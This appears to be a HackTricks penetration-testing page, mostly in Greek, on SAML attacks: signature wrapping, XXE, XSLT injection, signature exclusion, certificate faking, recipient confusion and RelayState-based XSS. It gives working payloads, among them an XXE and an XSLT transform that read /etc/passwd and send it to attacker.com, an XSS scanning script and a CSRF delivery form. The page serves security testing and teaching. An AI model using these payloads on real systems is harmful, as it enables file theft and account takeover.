SAML Attacks
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Εργαλείο
SAMLExtractor: Ένα εργαλείο που μπορεί να πάρει ένα URL ή λίστα URL και να επιστρέψει το SAML consume URL.
XML round-trip
Στο XML, το υπογεγραμμένο μέρος του XML αποθηκεύεται στη μνήμη, στη συνέχεια εκτελείται κάποια κωδικοποίηση/αποκωδικοποίηση και ελέγχεται η υπογραφή. Ιδανικά αυτή η κωδικοποίηση/αποκωδικοποίηση δεν θα έπρεπε να αλλάζει τα δεδομένα, αλλά με βάση αυτό το σενάριο, τα δεδομένα που ελέγχονται και τα αρχικά δεδομένα ενδέχεται να μην είναι τα ίδια.
Για παράδειγμα, δείτε τον παρακάτω κώδικα:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
Η εκτέλεση του προγράμματος με REXML 3.2.4 ή παλαιότερη έκδοση θα είχε ως αποτέλεσμα την ακόλουθη έξοδο αντί γι’ αυτό:
First child in original doc: Y
First child after round-trip: Z
Έτσι είδε το REXML το αρχικό XML έγγραφο από το παραπάνω πρόγραμμα:
.png)
Και έτσι το είδε μετά από ένα γύρο ανάλυσης και σειριοποίησης:
.png)
Για περισσότερες πληροφορίες σχετικά με την ευπάθεια και πώς να την εκμεταλλευτείτε:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
Σε XML Signature Wrapping attacks (XSW), οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα υποβάλλονται σε δύο ξεχωριστά στάδια: signature validation και function invocation. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος injects forged elements που δεν υπονομεύουν την εγκυρότητα της XML Signature. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας ασυμφωνίας ανάμεσα στα στοιχεία που αναλύει η application logic και σε αυτά που ελέγχονται από το signature verification module. Ως αποτέλεσμα, ενώ η XML Signature παραμένει τεχνικά έγκυρη και περνά τον έλεγχο, η application logic επεξεργάζεται τα fraudulent elements. Συνεπώς, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την integrity protection και την origin authentication της XML Signature, επιτρέποντας την injection of arbitrary content χωρίς ανίχνευση.
Οι παρακάτω επιθέσεις βασίζονται στο this blog post και στο this paper. Οπότε ελέγξτε τα για περισσότερες λεπτομέρειες.
XSW #1
- Στρατηγική: Προστίθεται ένα νέο root στοιχείο που περιέχει την signature.
- Συνέπεια: Ο validator μπορεί να μπερδευτεί ανάμεσα στο νόμιμο “Response -> Assertion -> Subject” και στο επιτιθέμενο “evil new Response -> Assertion -> Subject”, οδηγώντας σε προβλήματα ακεραιότητας δεδομένων.
.png)
XSW #2
- Διαφορά από XSW #1: Χρησιμοποιεί detached signature αντί για enveloping signature.
- Συνέπεια: Η “evil” δομή, παρόμοια με την XSW #1, στοχεύει να εξαπατήσει την business logic μετά τον έλεγχο ακεραιότητας.
.png)
XSW #3
- Στρατηγική: Δημιουργείται μια evil Assertion στο ίδιο ιεραρχικό επίπεδο με την αρχική assertion.
- Συνέπεια: Σκοπεύει να μπερδέψει την business logic ώστε να χρησιμοποιήσει τα malicious δεδομένα.
.png)
XSW #4
- Διαφορά από XSW #3: Η αρχική Assertion γίνεται παιδί της διπλασιασμένης (evil) Assertion.
- Συνέπεια: Παρόμοιο με XSW #3 αλλά τροποποιεί τη δομή XML πιο επιθετικά.
.png)
XSW #5
- Μοναδικό Στοιχείο: Ούτε η Signature ούτε η αρχική Assertion συμμορφώνονται με τα πρότυπα (enveloped/enveloping/detached).
- Συνέπεια: Η αντιγραμμένη Assertion περιβάλει την Signature, τροποποιώντας την αναμενόμενη δομή του εγγράφου.
.png)
XSW #6
- Στρατηγική: Παρόμοια εισαγωγή τοποθεσίας όπως στα XSW #4 και #5, αλλά με μια παραλλαγή.
- Συνέπεια: Η αντιγραμμένη Assertion περιβάλει την Signature, η οποία στη συνέχεια περιβάλει την αρχική Assertion, δημιουργώντας μια εμφωλευμένη παραπλανητική δομή.
.png)
XSW #7
- Στρατηγική: Εισάγεται ένα στοιχείο Extensions με την αντιγραμμένη Assertion ως παιδί.
- Συνέπεια: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα schema validation countermeasures, ειδικά σε βιβλιοθήκες όπως η OpenSAML.
.png)
XSW #8
- Διαφορά από XSW #7: Χρησιμοποιεί ένα άλλο λιγότερο περιοριστικό XML στοιχείο για μια παραλλαγή της επίθεσης.
- Συνέπεια: Η αρχική Assertion γίνεται παιδί του λιγότερο περιοριστικού στοιχείου, αντιστρέφοντας τη δομή που χρησιμοποιήθηκε στο XSW #7.
.png)
Tool
Μπορείτε να χρησιμοποιήσετε το Burp extension SAML Raider για να αναλύσετε το request, να εφαρμόσετε οποιαδήποτε XSW επίθεση επιλέξετε και να τη ξεκινήσετε.
XXE
Αν δεν ξέρετε τι είδους επιθέσεις είναι οι XXE, διαβάστε την παρακάτω σελίδα:
XXE - XEE - XML External Entity
Οι SAML Responses είναι deflated and base64 encoded XML documents και μπορεί να είναι ευάλωτες σε XML External Entity (XXE) επιθέσεις. Με την παραποίηση της δομής XML της SAML Response, οι επιτιθέμενοι μπορούν να προσπαθήσουν να εκμεταλλευτούν ευπάθειες XXE. Ακολουθεί μια οπτικοποίηση του πώς μπορεί να γίνει μια τέτοια επίθεση:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Εργαλεία
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση του Burp SAML Raider για να δημιουργήσετε το POC από ένα SAML request ώστε να δοκιμάσετε για πιθανές XXE ευπάθειες και SAML ευπάθειες.
Δείτε επίσης αυτή την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT μέσω SAML
Για περισσότερες πληροφορίες σχετικά με το XSLT μεταβείτε στο:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Extensible Stylesheet Language Transformations (XSLT) μπορεί να χρησιμοποιηθεί για τη μετατροπή εγγράφων XML σε διάφορες μορφές, όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι οι XSLT μετασχηματισμοί εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή· μια self-signed ή μη έγκυρη υπογραφή αρκεί για να προχωρήσει.
Εδώ μπορείτε να βρείτε ένα POC για να ελέγξετε αυτού του είδους τις ευπάθειες· στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτού του τμήματος μπορείτε να βρείτε payloads.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Εργαλείο
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να δημιουργήσετε το POC από ένα SAML request ώστε να ελέγξετε για πιθανές ευπάθειες XSLT.
Δείτε επίσης αυτή την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML Signature Exclusion
Η XML Signature Exclusion παρατηρεί τη συμπεριφορά των SAML υλοποιήσεων όταν το στοιχείο Signature δεν είναι παρόν. Αν αυτό το στοιχείο λείπει, μπορεί να μην πραγματοποιηθεί έλεγχος εγκυρότητας της υπογραφής, καθιστώντας το ευάλωτο. Είναι δυνατό να το δοκιμάσετε αυτό τροποποιώντας τα περιεχόμενα που συνήθως επαληθεύονται από την υπογραφή.
.png)
Εργαλείο
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider. Αναχαιτίστε την SAML Response και κάντε κλικ στο Remove Signatures. Με αυτόν τον τρόπο αφαιρούνται όλα τα στοιχεία Signature.
Αφού αφαιρεθούν οι υπογραφές, αφήστε το αίτημα να προχωρήσει προς τον στόχο. If the Signature isn’t required by the Service
Certificate Faking
Certificate Faking
Certificate Faking είναι μια τεχνική για να ελέγξετε αν ένας Service Provider (SP) επαληθεύει σωστά ότι ένα SAML Message είναι υπογεγραμμένο από έναν αξιόπιστο Identity Provider (IdP). Συμπεριλαμβάνει τη χρήση ενός *self-signed certificate για να υπογράψετε το SAML Response ή το Assertion, κάτι που βοηθά στην αξιολόγηση της διαδικασίας επικύρωσης εμπιστοσύνης μεταξύ SP και IdP.
Πώς να διεξάγετε το Certificate Faking
Τα παρακάτω βήματα περιγράφουν τη διαδικασία χρησιμοποιώντας την επέκταση Burp SAML Raider:
- Αναχαιτίστε την SAML Response.
- Εάν η response περιέχει υπογραφή, στείλτε το πιστοποιητικό στα SAML Raider Certs χρησιμοποιώντας το κουμπί
Send Certificate to SAML Raider Certs. - Στην καρτέλα SAML Raider Certificates, επιλέξτε το εισαγόμενο πιστοποιητικό και πατήστε
Save and Self-Signγια να δημιουργήσετε ένα self-signed κλώνο του αρχικού πιστοποιητικού. - Επιστρέψτε στο αναχαιτισμένο αίτημα στο Burp’s Proxy. Επιλέξτε το νέο self-signed πιστοποιητικό από το XML Signature dropdown.
- Αφαιρέστε τυχόν υπάρχουσες υπογραφές με το κουμπί
Remove Signatures. - Υπογράψτε το message ή το assertion με το νέο πιστοποιητικό χρησιμοποιώντας το
(Re-)Sign Messageή το(Re-)Sign Assertionκουμπί, όπως αρμόζει. - Προωθήστε το υπογεγραμμένο μήνυμα. Επιτυχής αυθεντικοποίηση υποδηλώνει ότι ο SP δέχεται μηνύματα υπογεγραμμένα με το self-signed πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML messages.
Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion και Service Provider Target Confusion αφορούν τον έλεγχο του κατά πόσον ο Service Provider επαληθεύει σωστά τον προοριζόμενο παραλήπτη μιας response. Στην ουσία, ένας Service Provider θα πρέπει να απορρίπτει μια authentication response αν προοριζόταν για διαφορετικό provider. Το κρίσιμο στοιχείο εδώ είναι το πεδίο Recipient, που βρίσκεται μέσα στο στοιχείο SubjectConfirmationData μιας SAML Response. Αυτό το πεδίο προσδιορίζει ένα URL που δείχνει πού πρέπει να σταλεί το Assertion. Αν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, το Assertion θα πρέπει να θεωρείται άκυρο.
Πώς λειτουργεί
Για να είναι εφικτή μια επίθεση SAML Token Recipient Confusion (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει ένας έγκυρος λογαριασμός σε έναν Service Provider (αναφερόμενο ως SP-Legit). Δεύτερον, ο στοχευμένος Service Provider (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Identity Provider που εξυπηρετεί τον SP-Legit.
Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια γνήσια συνεδρία ξεκινά με τον SP-Legit μέσω του κοινού Identity Provider. Η SAML Response από τον Identity Provider προς τον SP-Legit αναχαιτίζεται. Αυτή η αναχαιτισμένη SAML Response, που προοριζόταν αρχικά για τον SP-Legit, στη συνέχεια ανακατευθύνεται προς τον SP-Target. Η επιτυχία στην επίθεση μετράται από το αν ο SP-Target αποδεχτεί το Assertion, παρέχοντας πρόσβαση σε πόρους κάτω από το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
XSS στη λειτουργία Logout
Η αρχική έρευνα είναι διαθέσιμη μέσω this link.
Κατά τη διάρκεια της διαδικασίας directory brute forcing, εντοπίστηκε σελίδα logout στο:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
Κατά την πρόσβαση σε αυτόν τον σύνδεσμο, έγινε ανακατεύθυνση στο:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
Αυτό αποκάλυψε ότι η παράμετρος base αποδέχεται ένα URL. Λαμβάνοντας αυτό υπόψη, προέκυψε η ιδέα να αντικατασταθεί το URL με javascript:alert(123); σε μια προσπάθεια να ξεκινήσει μια XSS (Cross-Site Scripting) επίθεση.
Μαζική Εκμετάλλευση
The SAMLExtractor tool was used to analyze subdomains of uberinternal.com for domains utilizing the same library. Subsequently, a script was developed to target the oidauth/prompt page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it’s reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
RelayState-based header/body injection για rXSS
Ορισμένα SAML SSO endpoints decode RelayState και στη συνέχεια το αντανακλούν στην απάντηση χωρίς sanitization. Αν μπορείτε να εισάγετε newlines και να υπερκαλύψετε το response Content-Type, μπορείτε να αναγκάσετε τον browser να εμφανίσει attacker-controlled HTML, επιτυγχάνοντας reflected XSS.
- Idea: καταχρήση response-splitting μέσω newline injection στο αντανακλώμενο RelayState. Δείτε επίσης τις γενικές σημειώσεις στο CRLF injection.
- Works even when RelayState is base64-decoded server-side: παρέχετε ένα base64 που αποκωδικοποιείται σε header/body injection.
Γενικά βήματα:
- Κατασκευάστε μία ακολουθία header/body injection που ξεκινά με ένα newline, αντικαταστήστε το content type σε HTML, και μετά εισάγετε το HTML/JS payload:
Concept:
\n
Content-Type: text/html
<svg/onload=alert(1)>
- URL-encode την ακολουθία (παράδειγμα):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
- Base64-encode το URL-encoded string και τοποθετήστε το στο
RelayState.
Example base64 (from the sequence above):
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
- Στείλτε ένα POST με ένα συντακτικά έγκυρο
SAMLResponseκαι το κατασκευασμένοRelayStateστον SSO endpoint (π.χ./cgi/logout). - Παράδοση μέσω CSRF: φιλοξενήστε μία σελίδα που υποβάλλει αυτόματα ένα cross-origin POST προς τον target origin περιλαμβάνοντας και τα δύο πεδία.
PoC εναντίον ενός NetScaler SSO endpoint (/cgi/logout):
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
CSRF μοτίβο παράδοσης:
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
Γιατί λειτουργεί: ο server αποκωδικοποιεί το RelayState και το ενσωματώνει στην απόκριση με τρόπο που επιτρέπει newline injection, επιτρέποντας στον επιτιθέμενο να επηρεάσει τα headers και το σώμα. Η εξαναγκασμένη ρύθμιση του Content-Type: text/html αναγκάζει τον browser να αποδώσει το HTML υπό τον έλεγχο του επιτιθέμενου από το σώμα της απόκρισης.
Αναφορές
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
- Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

